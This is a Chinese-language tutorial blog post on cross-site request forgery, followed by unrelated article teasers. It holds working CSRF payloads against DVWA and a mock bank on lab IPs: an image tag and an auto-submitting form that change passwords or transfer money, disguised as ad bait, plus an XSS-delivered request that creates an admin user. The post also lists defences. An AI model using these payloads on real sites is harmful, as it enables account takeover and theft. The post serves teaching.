CSRF漏洞

文章目录

  • CSRF(跨站请求伪造漏洞)
    • 关键点
    • 目标
    • CSRF类别
      • GET方式
      • post方式
    • CSRF验证
    • CSRF 实战
      • 与 XSS 漏洞相结合
    • CSRF 防御
      • 无效防御
      • 有效防御
  • 案例
    • CSRF 漏洞实战

CSRF(跨站请求伪造漏洞)

​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个 web 应用程序。

关键点

  • 受害者没有退出登录,受害者保持身份认证
  • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作
  • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话 Cookie,IP 地址,Windows 域凭据等

目标

​ CSRF 的目标是更改用户账户的状态,攻击者利用 CSRF发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。
​ CSRF 的场景中,攻击者是没有办法获得服务器的响应

CSRF类别

GET方式

<meta charset="utf-8">
<img src="1.jpg">
</br>
<img src="http://10.9.47.77/dvwa_2.0.1/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change" alt="美女好看吗">

post方式

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://10.9.47.77/dvwa_2.0.1/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="123" />
      <input type="hidden" name="password&#95;conf" value="123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF验证

burpsuite Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证。
在这里插入图片描述

CSRF 实战

与 XSS 漏洞相结合

	攻击者可以利用 XSS 触发 CSRF 攻击。因为,可以利用 JS 发送 HTTP 请求。经过研 究受害网站的业务流程,可以构造如下代码
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.130/cms/admin/user.action.php",fal
se);
xmlhttp.setRequestHeader("Content-type","application/x-www-formurlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456
&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

CSRF 防御

无效防御

  • 使用秘密的 Cookie

  • 仅接收 POST 请求

  • 多步交易:多步交易,有可能会被恶意攻击者预测

  • URL 重写:用户的身份信息会暴露在 URL 中,不建议通过引入另外一个漏洞来解决当前 漏洞

  • HTTPS:所有安全机制的前提

有效防御

验证 Referer 字段:

  • 当前 URL 的上一个 URL
  • 转账页面到转账操作
  • 伪造?

二次验证

  • 在关键操作之前,再输入密码或者验证码

添加Token 验证

HttpOnly

  • 某些情况下禁止 JS 脚本访问 Cookie 信息

SameSite

二次验证

  • 在关键操作之前,再输入密码或者验证码

添加Token 验证

HttpOnly

  • 某些情况下禁止 JS 脚本访问 Cookie 信息

SameSite

  • Cookie 属性,浏览器自带安全机制浏览器自带不需要设置

案例

CSRF 漏洞实战

**原理:**利用模拟的银行系统在用户登录的情况下点击我们的广告将钱转入到hacker账户下

先登录hacker账号

在这里插入图片描述
我们可以看到此时是无一分钱的是个穷逼那只能靠技术吃饭了抓包查看提交表单需要什么数据
在这里插入图片描述

进行构造代码
在这里插入图片描述

<meta charset="utf-8">
<img src="1.jpg" width="15%" height="40%">
</br>
<img src="http://10.9.47.77/bank/action.php?username=hacker&money=10000&submit=%E4%BA%A4%E6%98%93" alt="美女好看吗">

现在登录admin账户
在这里插入图片描述
登录之后admin用户点击了广告
在这里插入图片描述
这个怨种admin还觉得挺好看结果一会页面人傻了被转走了10000元
在这里插入图片描述
方法二:
抓包的时候用bp构造一个post方式
在这里插入图片描述
复制代码到我们的广告网页上进行稍加修饰

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://10.9.47.77/bank/action.php" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="money" value="1000" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
        看看美女吧</br>
        <img src="1.jpg" width="16%" height="40%" alt="美女好看吗">
    
  </body>
</html>

受害者访问网页
在这里插入图片描述
发现又被转走了1000
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/139987.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2023最新版JavaSE教程——第6天:面向对象编程(基础)

目录 一、面向对象编程概述(了解)1.1 程序设计的思路1.2 由实际问题考虑如何设计程序1.3 如何掌握这种思想&#xff1f; 二、Java语言的基本元素&#xff1a;类和对象2.1 引入2.2 类和对象概述2.3 类的成员概述2.4 面向对象完成功能的三步骤(重要)2.4.1 步骤1&#xff1a;类的定…

C# Spire.Pdf将PDF文件转换为Word文件

一.开发框架&#xff1a; .NetCore6.0 工具&#xff1a;Visual Studio 2022 二.思路&#xff1a; 1.界面上传PDF文件&#xff0c;并保存 2.PDF文件转换为Word文件并保存 3.使用SHA256Hash判断文件是否已经转换过了&#xff0c;转换过了的话&#xff0c;就返回原先转换过的文…

保姆级使用vuedraggable三方组件

第一步 引入vuedraggable npm i vuedraggable -S 第二步 直接使用&#xff0c;源码如下 <template><draggableclass"list-group"tag"ul"v-model"list"v-bind"{animation: 1000,group: description,disabled: false,ghostClass:…

嵌入式养成计划-49----ARM--计算机相关理论--ARM相关内容

一百二十三、计算机相关理论 123.1 计算机的组成 目前的计算机都还是 冯诺依曼体系 &#xff0c;也就是由&#xff1a;输入、输出、运算器、存储器、控制器&#xff0c;这个五个部分构成。输入&#xff1a;Input&#xff0c;常见的输入设备&#xff0c;比如鼠标&#xff0c;键…

五、L2TPv2 VPN

L2TPv2 VPN 1、L2TPv2概述1.1.目的1.2.特点 2、L2TP原理2.1.基本概念2.2.工作原理2.2.1.协议架构2.2.2.报文结构2.2.3.报文封装2.2.4.报文传输 3、工作过程4、应用场景4.1、远程拨号用户发起L2TP隧道连接4.2、LAC接入拨号请求发起L2TP隧道连接4.3、LAC接入PPPoE用户发起L2TP隧道…

远程运维的定义以及优点详细讲解-行云管家

对于IT运维小伙伴而言&#xff0c;远程运维是最平常不过的一件事情了。比如下班了需要工作&#xff0c;可以远程运维就好了&#xff1b;比如帮助用户远程安装远程运维软件等等。今天我们就一起来简单聊聊远程运维的定义以及优点&#xff0c;顺便看看市面上哪款远程运维软件好用…

开发企业微信群机器人,实现定时提醒

大家好&#xff0c;我是鱼皮&#xff0c;今天分享一个用程序解决生活工作问题的真实案例。 说来惭愧&#xff0c;事情是这样的&#xff0c;在我们公司&#xff0c;每天都要轮流安排一名员工&#xff08;当然也包括我&#xff09;去楼层中间一个很牛的饮水机那里接水。但由于大…

深耕智慧物流夯实竞争优势,极智嘉(Geek+)斩获多项大奖

全球仓储机器人引领者极智嘉(Geek)&#xff0c;一直以来致力于为仓储与制造场景提供高效柔性的智能物流解决方案&#xff0c;强劲的发展实力备受认可。而近段时间&#xff0c;极智嘉更是频频传来好消息&#xff0c;不仅斩获了英国机器人与自动化仓储创新大奖&#xff0c;获评胡…

RT-DETR算法优化改进:一种新颖的动态稀疏注意力(BiLevelRoutingAttention) | CVPR2023

💡💡💡本文独家改进: 提出了一种新颖的动态稀疏注意力(BiLevelRoutingAttention),以实现更灵活的计算分配和内容感知,使其具备动态的查询感知稀疏性 1)代替RepC3进行使用; 2)BiLevelRoutingAttention直接作为注意力进行使用; 推荐指数:五星 RT-DETR魔术师专栏介…

睿登RD6012P数控可调电源简单开箱评测

睿登RD6012P恒压恒流数控直流可调电源简单开箱评测&#xff0c;测试了一下 空载功耗和效率测试、恒流输出精度和电流回读精度测试、恒压输出精度和电压回读精度测试、输出纹波&#xff0c;还有简单分析了一下用到的芯片&#xff08;背面可看到的芯片&#xff0c;没有拆开看里面…

Flutter实践二:repository模式

1.repository 几乎所有的APP&#xff0c;从简单的到最复杂的&#xff0c;在它们的架构里几乎都包括状态管理和数据源这两部分。状态管理常见的有Bloc、Cubit、Provider、ViewModel等&#xff0c;数据源则是一些直接和数据库或者网络客户端进行交互&#xff0c;取得相应的数据&…

Spring的Redis客户端

如何在Spring中操作redis 在创建springboot项目的时候引入redis的依赖. 在配置文件里指定redis主机的地址和端口,此处我们配置了ssh隧道,所以连接的就是本机的8888端口. 创建一个controller类,注入操作redis的对象. 前面使用jedis,是通过jedis对象里的各种方法来操作redis的,此…

python用pychart库,实现将经纬度信息在地图上显示

python使用pyecharts对给到的经纬度数据进行位置标注&#xff0c;下面是批量更新。给入数据&#xff0c;将地图生成。实验数据在下面附件。 from pyecharts import options as opts from pyecharts.charts import Geo import osfolder_path F:\\GPS file_names os.listdir(f…

腾讯小程序音视频 TRTC live-pusher 黑屏等各种问题

微信小程序进行音视频开发, 主要会用到live-player live-pusher,这两个媒体组件. 在开发的过程中,会遇到各种各样的问题,其中最直接的就是黑屏问题, 以下就这个问题进行整理. 文档: https://developers.weixin.qq.com/miniprogram/dev/component/live-player.html https://dev…

【Python】jupyter notebook(学习笔记)

Jupyter Notebook初见 1、Jupyter Notebook介绍 web版的ipython 编程、写文档、记笔记、展示 格式.ipynb 2、为什么使用Jupyter Notebook? 画图方面的优势&#xff1a;图像的生成不会堵塞后面代码的执行数据展示方面的优势&#xff1a;生成的数据可以保存在文件中 3、J…

Springboot细节补充

一、Bean是怎么装配的&#xff1f; 1、bean扫描 在之前的ssm中&#xff0c;spring要么用标签的形式来扫描包&#xff0c;要么使用注解ComponentScan来扫描 但是在Springboot中&#xff0c;启动类上默认有一个注解SpringBootApplication&#xff0c;里面就包含了ComponentScan…

CCF ChinaSoft 2023 论坛巡礼 | 云原生与智能化运维论坛

2023年CCF中国软件大会&#xff08;CCF ChinaSoft 2023&#xff09;由CCF主办&#xff0c;CCF系统软件专委会、形式化方法专委会、软件工程专委会以及复旦大学联合承办&#xff0c;将于2023年12月1-3日在上海国际会议中心举行。 本次大会主题是“智能化软件创新推动数字经济与社…

[原创]仅需小小的改变,B++ Builder 12的代码完成提示即可完美工作.

[简介] 常用网名: 猪头三 出生日期: 1981.XX.XXQQ: 643439947 个人网站: 80x86汇编小站 编程生涯: 2001年~至今[共22年] 职业生涯: 20年 开发语言: C/C、80x86ASM、PHP、Perl、Objective-C、Object Pascal、C#、Python 开发工具: Visual Studio、Delphi、XCode、Eclipse、C Bui…

隔离在高可用架构中的使用

写作目的 最近看到了河北王校长隔离的视频&#xff0c;结合自己在工作中的应用&#xff0c;分享常见的隔离落地方案。 隔离落地方案 服务环境隔离 因为我们的项目服务于整个国内的多条产品线&#xff0c;也服务于国外。为了低成本所以使用一套代码。在产品线之间隔离&#…

14.求n!和1!+2!+...+20!和2^1+2^2+……++2^20和2^1+2^3+……++2^19

文章目录 前言一、题目描述 二、题目分析 三、解题 程序运行代码 四、举一反三一、题目描述&#xff1a;求1&#xff01;2&#xff01;...20! 二、题目分析 三、解题 程序运行代码1程序运行代码2 一、题目描述&#xff1a;求求2^1^2^2^……2^20^二、解题 程序运行代码 一、题目…